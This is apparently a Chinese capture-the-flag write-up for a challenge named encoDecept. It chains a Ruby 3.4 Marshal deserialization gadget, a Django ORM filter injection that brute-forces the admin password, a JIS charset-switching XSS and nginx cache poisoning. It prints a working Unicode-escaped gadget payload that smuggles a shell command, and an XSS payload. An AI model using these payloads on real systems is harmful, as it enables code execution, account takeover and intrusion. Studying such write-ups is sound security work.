encoDecept-writeup
step1 frontend发现一个很明显的序列化和反序列化的操作
重要的是反序列化content = Marshal.load(@template['data']) if @template['data']
其中data是可控的
dockerfile中写到了ruby版本是3.4,去搜索3.4的universal gadget发现poc
本地运行发现可以成功触发命令执行,但是服务器的data是json里面解析出来的,json不能包含字节码,不过我们可以用unicode的等价形式:
1 | Marshal.load("\u0004\b[\u0007c\u0015Gem::SpecFetcherU:\u0011Gem::Version[\u0006o:\u001eGem::RequestSet::Lockfile\n:\t@seto:\u0014Gem::RequestSet\u0006:\u0015@sorted_requests[\u0007o:%Gem::Resolver::SpecSpecification\u0006:\n@speco:$Gem::Resolver::GitSpecification\u0007:\f@sourceo:\u0015Gem::Source::Git\n:\t@gitI\"\bzip\u0006:\u0006ET:\u000f@referenceI\"\u0010/etc/passwd\u0006;\u0010T:\u000e@root_dirI\"\t/tmp\u0006;\u0010T:\u0010@repositoryI\"\bany\u0006;\u0010T:\n@nameI\"\bany\u0006;\u0010T;\u000bo:!Gem::Resolver::Specification\u0007;\u0014I\"\bany\u0006;\u0010T:\u0012@dependencies[\u0000o;\n\u0006;\u000bo;\f\u0007;\ro;\u000e\n;\u000fI\"\bzip\u0006;\u0010T;\u0011I\"*-TmTT=\"$(id>/tmp/marshal-poc)\"any.zip\u0006;\u0010T;\u0012I\"\t/tmp\u0006;\u0010T;\u0013I\"\bany\u0006;\u0010T;\u0014I\"\bany\u0006;\u0010T;\u000bo;\u0015\u0007;\u0014I\"\bany\u0006;\u0010T;\u0016[\u0000;\u0016[\u0000:\u0013@gem_deps_fileI\"\u0019/home/hacker/Desktop\u0006;\u0010T:\u0012@gem_deps_dirI\"\u0011/home/hacker\u0006;\u0010T:\u000f@platforms[\u0000") |
仍然会触发命令执行,unicode在json中是可以接受的
因此,我们要想办法控制服务器触发我们的data
step2 寻找触发方法
进一步看看代码会发现前端最终数据还是发到python的后端去处理的,python后端设置了只要administrator才能编辑constract template,我们有一个
constract administrator的bot是可控的。找遍代码没发现能改role的地方,所以只能尝试去改admin的password或者直接获取了。
其实有一个非常隐蔽的漏洞藏在python后端中,我们的bot最多只能访问FilteredContractsView,这个view有一个Contract.objects.filter(**filtered_data)
参数如果是可控的,那么我们可以用django特殊的ORM过滤条件,有什么用呢?constract model中的owner是个user的外键,admin就在user库中,因此我们能直接用特
殊语法去过滤user库,其中有一个xxx__startswith的特殊过滤方法,我们能直接去过滤admin的password,一个个地试出来admin的密码。
问题在于这个请求必须是post,但是我们的bot是以get来发送,我们也不能让bot去访问我们的网站,执行我们的js来发post,因为那样bot不会发cookie,所以还是得找
点网站内的xss,可以是反射的或者存储的,网站有一个markdown渲染的bio,这个我们正好可以编辑,但是markdown过滤了”和>,没办法嵌入事件或者script,我当时一直找不出来解决方法,赛后去网上搜了一下,发现了别人的解决方法(真不知道他们怎么发现的)
step3 找到xss利用点
后面的部分应该是这个题最难的地方,第一个,题的作者在contract_frontend/lib/remove_charset_middleware.rb里面把charset过滤掉了,这很隐蔽,但是也很可
疑,实际上,这是能导致xss的,参考这篇文章
我们可以发现几个点:
- %1b(J —> JIS X 0201 1976 这个编码下ascii的\会被浏览器解释成¥,造成转义字符丢失,从而我们可以闭合”或者’等等
%1b(B —–>Ascii
%1b$@ ——-> JIS X 0208 1978 这个编码下两个字符(假设原来是ascii,一个字符1B)会被拼接并且解码成一个字符,这样可以吞掉>或者”
%1b$B ——–> JIS X 0208 1978 1983 - 上面的编码规则触发依赖于服务器没有用meta或者charset标头来明确指示浏览器应该如何去解码,这样会触发浏览器的自动监测机制(chrome ,edge都能生效)
- 验证方法:本地创建一个html然后查看document.characterSet
1
2<p><<img src="inJIS%20X%200208%201978" alt="$@sfnalk"> (BswichToAscii<img src="onerror=alert(1)//" alt="ignoredAlt"></p>
对于本题,不要在框里直接提交,会被二次编码,用burp或者python提交bio=<+++%1b%28BswichToAscii//)
就能弹窗
解释一下上面的代码,先是用JIS X 0208 1978吞掉”然后切换回ascii使后面的脚本能正常被浏览器解析,//注释掉多余的>和”
step4
我们的setting要让constract admin看到,这就会有问题,因为setting页面是根据cookie来返回的,bot不会看到我们的setting
解决办法是cache poisoning,nginx.conf中有如下配置
1 | location ~ \.(css|js|jpg|jpeg|png|gif|ico|woff|woff2|ttf|svg|eot|html|json)$ { |
它会把url+参数作为缓存的key然后缓存指定后缀的内容,如果我们缓存了我们的setting页面,那么就可以让bot看到,但是显然setting是动态页面,不以静态后缀结尾。
这就要用到nginx和rail解析路径的差异,实际上rail把url中.后面的内容当作返回的view的类型(html,css,根据后缀,默认是html,比如/a.css是css,/b.hhh是html)(如果那个路由确实不存在),除此之外,还有一些差异(对本题无用).
这个差异可以让nginx缓存我们的setting页面,只要访问/settings.css?useless=1就好,然后bot也访问这个的时候缓存存在,nginx不会转发到3000端口,会直接返回缓存的页面,不需要cookie认证,从而在缓存的页面触发xss
本文只讲思路,poc就不给了
源代码